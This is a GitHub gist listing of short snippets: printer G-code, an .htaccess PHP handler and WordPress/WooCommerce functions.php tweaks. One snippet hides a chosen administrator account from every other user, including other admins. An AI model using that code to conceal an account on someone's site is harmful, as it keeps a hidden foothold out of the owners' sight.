Skip to content

Instantly share code, notes, and snippets.

M500 ; reset EEPROM
G28 ; Home
M106 P0 S255 ; Set fan speed to 100%
M303 E0 S200 C8 U1 ; PID autotune extruder
M106 P0 S0 ; Turn off fan
M303 E-1 S50 C8 U1 ; PID autotune bed
M851 Z-1.0 ; Set z-offset
M503 ; Print current settings
M500 ; Save settings
@ofernandolopes
ofernandolopes / .htaccess
Created October 30, 2019 21:46
Enabling PHP 7.1 on Hostgator trough htaccess - Ativar PHP 7.1 no Hostgator usando o arquivo htaccess
# Habilitar o PHP 7.1
<IfModule mime_module>
AddHandler application/x-httpd-ea-php71 .php .php7 .phtml
</IfModule>
@ofernandolopes
ofernandolopes / functions.php
Created May 12, 2019 22:45
Sort products without stock WooCommerce
//Sort products without stock WooCommerce
class iWC_Orderby_Stock_Status
{
public function __construct()
{
// Check if WooCommerce is active
if (in_array('woocommerce/woocommerce.php', apply_filters('active_plugins', get_option('active_plugins')))) {
add_filter('posts_clauses', array($this, 'order_by_stock_status'), 2000);
}
}
@ofernandolopes
ofernandolopes / functions.php
Created April 4, 2019 15:56 — forked from luiseduardobraschi/functions.php
Disable package splitting in Dokan Pro
<?php
remove_filter( 'woocommerce_cart_shipping_packages', 'dokan_custom_split_shipping_packages' );
remove_filter( 'woocommerce_shipping_package_name', 'dokan_change_shipping_pack_name' );
remove_action( 'woocommerce_checkout_create_order_shipping_item', 'dokan_add_shipping_pack_meta' );
add_filter( 'woocommerce_shipping_methods', function($methods){
unset( $methods['dokan_vendor_shipping'] );
return $methods;
}, 11 );
<?php
//FROM
//http://digwp.com/2010/03/wordpress-functions-php-template-custom-functions/
//http://webstractions.com/wordpress/remove-recent-comments-inline-styl/
//http://wpengineer.com/1438/wordpress-header/
//https://github.com/boldperspective/Whiteboard-Framework
//REMOVE ADMIN BAR
add_filter( 'show_admin_bar', '__return_false' );
@ofernandolopes
ofernandolopes / functions.php
Created February 25, 2019 12:04
Allow editors to edit WordPress menus
// Allow editors to edit WordPress menus
$role_object = get_role( 'editor' );
$role_object->add_cap( 'edit_theme_options' );
/////
function hide_menu() {
if (current_user_can('editor')) {
remove_submenu_page( 'themes.php', 'themes.php' ); // hide the theme selection submenu
@ofernandolopes
ofernandolopes / functions.php
Created February 17, 2019 00:58
Show values and add to cart only for users who have logged in to WooCommerce.
//
//Show values and add to cart only for users who have logged in to WooCommerce.
//
add_action( 'init', 'wc_hide_price_add_cart_not_logged_in' );
function wc_hide_price_add_cart_not_logged_in() {
if ( !is_user_logged_in() ) {
remove_action( 'woocommerce_after_shop_loop_item', 'woocommerce_template_loop_add_to_cart', 10 );
remove_action( 'woocommerce_single_product_summary', 'woocommerce_template_single_add_to_cart', 30 );
@ofernandolopes
ofernandolopes / functions.php
Created February 3, 2019 10:53
Remove Personal Options in WordPress Admin Profile Page
//Remove Personal Options in WordPress Admin Profile Page
//https://isabelcastillo.com/hide-personal-options-wordpress-admin-profile
function remove_personal_options(){
echo '<script type="text/javascript">jQuery(document).ready(function($) {
$(\'form#your-profile > h2:first\').remove(); // remove the "Personal Options" title
$(\'form#your-profile tr.user-rich-editing-wrap\').remove(); // remove the "Visual Editor" field
$(\'form#your-profile tr.user-admin-color-wrap\').remove(); // remove the "Admin Color Scheme" field
$(\'form#your-profile tr.user-comment-shortcuts-wrap\').remove(); // remove the "Keyboard Shortcuts" field
$(\'form#your-profile tr.user-admin-bar-front-wrap\').remove(); // remove the "Toolbar" field
@ofernandolopes
ofernandolopes / functions.php
Created December 4, 2018 05:56
Hides an admin user from all other users, including other WordPress admins
//Hides an admin user from all other users, including other WordPress admins
//Replace "hiddenuser" by the user you want to hide
add_action('pre_user_query','dt_pre_user_query');
function dt_pre_user_query($user_search) {
global $current_user;
$username = $current_user->user_login;
if ($username != 'hiddenuser') {
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
@ofernandolopes
ofernandolopes / wp-clean-admin.php
Created August 28, 2018 15:21 — forked from celsowhite/wp-clean-admin.php
Functions to clean admin dashboard menu and welcome screen.
<?php
/*---------------------
Dashboard Menu Adjustments
---------------------*/
// Only hide specific dashboard menu items on the live server.
// Show on localhost so we can control every component.
$whitelist = array('127.0.0.1','::1');